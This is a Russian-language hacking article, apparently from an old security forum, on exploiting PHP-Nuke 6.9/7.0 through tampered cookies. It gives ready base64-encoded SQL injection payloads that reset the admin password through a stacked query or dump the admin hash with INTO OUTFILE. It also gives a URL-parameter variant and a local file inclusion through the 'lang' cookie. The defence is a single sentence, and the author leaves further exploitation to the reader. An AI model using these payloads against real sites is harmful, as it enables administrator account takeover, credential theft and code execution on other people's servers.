---/ СОДЕРЖАНИЕ /--- ______________________________________________________________________________________________________ 1 ......................................................................................... Введение 2 ........................................................................................... Теория 3 ...................................................... Изменение данных в cookie для SQL-injection 4 .......................................................................................... Примеры 5 .................................................................................... Хинт для нюка 6 .......................................................................... SQL-injection и только? 7 ........................................................................................... Защита 8 ....................................................................................... Заключение ______________________________________________________________________________________________________ ---/ Введение /--- В данной статье я хотел бы рассказать об одной интересной (по крайней мере для меня) уязвимости. Описания подобной уязвимости я еще не встречал в сети, поэтому думаю для вас это будет новой информацией, а уж если не новой то хотя бы интересной =) Наиболее характерна бага для всевозможных движков сайтов, форумов и прочего, поддерживающих вход с использованием cookies. В сети я встречал статьи посвященные методам атаки через cookies, но в них рассматривалась атака на пользователя со стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал. Чтож наверно пора это исправить =) В начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать некоторыми (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я на них не буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы sql injection , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и конечно немного желания.... ---/ Теория /--- Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я не часто встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок PHP-Nuke версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан уже давно, багов в нем нашли немеряно и казалось бы авторы должны были стать параноиками и навставлять проверок везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного за авторизацию пользователя: [ begin code ] ... if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста { $admin = base64_decode($admin); # base64 декодирование строки $admin = explode(":", $admin); # разбиение строки $aid = "$admin[0]"; # тут присвоение полученных данных переменной $aid (логин) $pwd = "$admin[1]"; # тут присвоение полученных данных переменной $pwd (пароль) $admlanguage = "$admin[2]"; [ тут идет проверка на пустые логин и пароль, она не интересна ] $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # а вот тут уже запрос к БД включающий # в себя переменную $aid полученную ранее if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом { echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее) exit; } else # если запрос вернул инфу { $row = $db->sql_fetchrow($result); # получение ответа if($row[pwd] == $pwd && $row[pwd] != "") # проверка данных { $admintest = 1; # баааа... да это админ =))) } } ... [ end code ] Как видно из приведенного листинга то после получения переменной $aid из кук она без всяких проверок отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить данную переменную и изменить сам запрос к БД. Теперь стоит разобраться с куками которые сбрасывает данный движок. Я рекомендую поставить php-nuke себе и на своем компе производить все операции дабы разобраться в том что происходит. Значит после установки движка регистрируем в нем пользователя "admin" с паролем "password" и лезем смотреть на куки которые у нас сбросились. [ start cookie ] lang english 127.0.0.1/phpnuke/ 1536 1008201472 29680718 3288127568 29607292 * admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ 1536 3469246208 29613327 3600307568 29607292 * [ end cookie ] Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 это зашифрованные base64 логин и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все устроено. base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно: зашифровано: YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 расшифровано: admin:5f4dcc3b5aa765d61d8327deb882cf99: Где, admin - логин 5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password") : - разделитель ---/ Изменение данных в cookie /--- Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно мы изменим последующий sql-запрос к БД: измененная строка: admin':5f4dcc3b5aa765d61d8327deb882cf99: шифруем в base64: YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og== Как вы видите мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи про sql injection. Теперь осталось вставить измененную строку в наш кук и посмотреть, что произойдет. Открываем в браузере наш движок и пытаемся войти в админ-панель. Получаем: Selection from database failed! Ура. Значит sql-запрос был благополучно изменен =) Теперь посмотрим что происходит в БД. Открываем логи и видим: 1 Init DB nuke 1 Init DB nuke 1 Query SELECT main_module from nuke_main 1 Query SELECT * FROM nuke_referer 1 Query SELECT user_password FROM nuke_users WHERE username='' 1 Query DELETE FROM nuke_session WHERE time < 1071760481 1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1' 1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1' 1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1 1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!! ... Вот оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос не смог возвратить пароль пользователя из-за чего мы и получаем надпись... if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом { echo "Selection from database failed!"; <--- вот эта надпись exit; } Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к документации по языку sql, и всевозможной инфе по sql-injection. Я особо углублятся в это не буду. Рассмотрю лишь небольшой пример... ---/ Примеры /--- Шифруем строку: admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99: Получаем: YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9JzEyMycgV0hFUkUgYWlkPSdhZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OTo= После вставки данной строки в cookie и захода на сайт в БД выполняется запрос: SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin' Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =) Почему MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя их ";" В случае с mysql данная фишка не прокатит т.к. там такая роскошь не допускается =( Конечно можно поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в случае с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из базы в процессе авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и удастся приспособить UNION для получения инфы... Но это тема другой статьи. Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke версии 6.9 на mysql Шифруем строку: admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99: Получаем: YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og== После вставки полученной строки в cookie и захода на сайт выполняется запрос: SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt' Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt. ---/ Хинт для нюка /--- Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо через браузер следующим образом: admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og== Результат будет таким-же как и при передаче через кукисы. ---/ SQL-injection и только? /--- Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection. Модификация данных в cookies лишь метод, а вот направление использования этого метода уже зависит от кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного пхп-нюка =) версии 6.9. ( К слову сказать на момент когда статья была дописана я уже достал себе версию нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки в которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием языка который следует использовать. И название данного файла хранится в переменной $lang и используется вот таким образом: [ begin mainfile.php code ] ... include("language/lang-$lang.php"); ... [ end mainfile.php code ] Конечно данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например вот так: 127.0.0.1/phpnuke/index.php?lang=/../../../ но использовать для этого кукисы будет более правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из GET запросов фильтруются на наличие в запросе... ну например точек. Значит изменение пути через браузер отпадает. Будем играть с куками. Значит нам надо изменить путь к языковому файлу. Открываем сайт, получаем куки и смотрим: [ start cookie ] ... lang english ... [ end cookie ] Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php Мы изменяем в кукисах вот на такую строку: ../../english Заходим на сайт и получаем ошибку: Warning: main(language/lang-../../english.php): failed to open stream: No such file or directory in mainfile.php on line 162 Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас есть свой сайт, физически расположенный там-же где и атакуемый. Значит мы можем проинклудить свой созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки: Делаем в куке: lang /../../hacker Теперь путь к файлу такой: language/lang-/../../hacker.php Создаем в корне нюки файл hacker.php например с Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)" Код выполнился, а значит потенциальная уязвимость существует. ---/ Защита /--- Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные, независимо от того каким способом они передаются. ---/ Заключение /--- В данной статье рассмотрена лишь суть проблемы, а методы использования уже предстоит придумать и реализовать вам самим. Также метод рассмотренный тут не является шаблоном по которому можно ломануть все и вся... Все зависит от самого скрипта использующегося на сервере, от вида запросов к БД, от способов получения данных из cookies и т.д. Да и еще... самое главное! Статья написана в помощь администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не используйте информацию из этой статьи в целях противоречащих УК.